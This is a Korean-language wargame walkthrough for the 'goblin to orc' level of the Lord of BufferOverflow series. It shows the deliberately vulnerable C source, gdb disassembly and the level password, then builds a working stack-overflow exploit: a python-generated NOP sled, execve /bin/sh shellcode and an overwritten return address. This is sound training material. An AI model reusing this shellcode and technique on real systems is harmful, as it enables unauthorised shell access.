[Lord Of BufferOverFlow] 4번 goblin -> orc

login : goblin

password : hackers proof

orc.c를 봐보자

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

//egghunter

environ[i] 이부분이 환경변수를 가르키는건데  memset으로 0으로 설정하니 환경변수는 못쓴다.

 

또한 argv[1][47] != '\bf' 때문에

argv[1]에서 48번째 값이 \xbf여야한다는 것이다.

gdb를 이용해 분석해보자

0x804859c <main+156>:   call   0x8048410 <printf>
0x80485a1 <main+161>:   add    $0x4,%esp
0x80485a4 <main+164>:   push   $0x0
0x80485a6 <main+166>:   call   0x8048420 <exit>
0x80485ab <main+171>:   add    $0x4,%esp
0x80485ae <main+174>:   mov    %esi,%esi
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   lea    0xffffffd8(%ebp),%eax
0x80485bc <main+188>:   push   %eax
0x80485bd <main+189>:   call   0x8048440 <strcpy>
0x80485c2 <main+194>:   add    $0x8,%esp
0x80485c5 <main+197>:   lea    0xffffffd8(%ebp),%eax
0x80485c8 <main+200>:   push   %eax
0x80485c9 <main+201>:   push   $0x8048659
0x80485ce <main+206>:   call   0x8048410 <printf>
0x80485d3 <main+211>:   add    $0x8,%esp
0x80485d6 <main+214>:   leave

 

6161616161616161616161616161616161 ============ a

0xbffffc5c주소 들고가자

 

./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x5c\xfc\xff\xbf"'`

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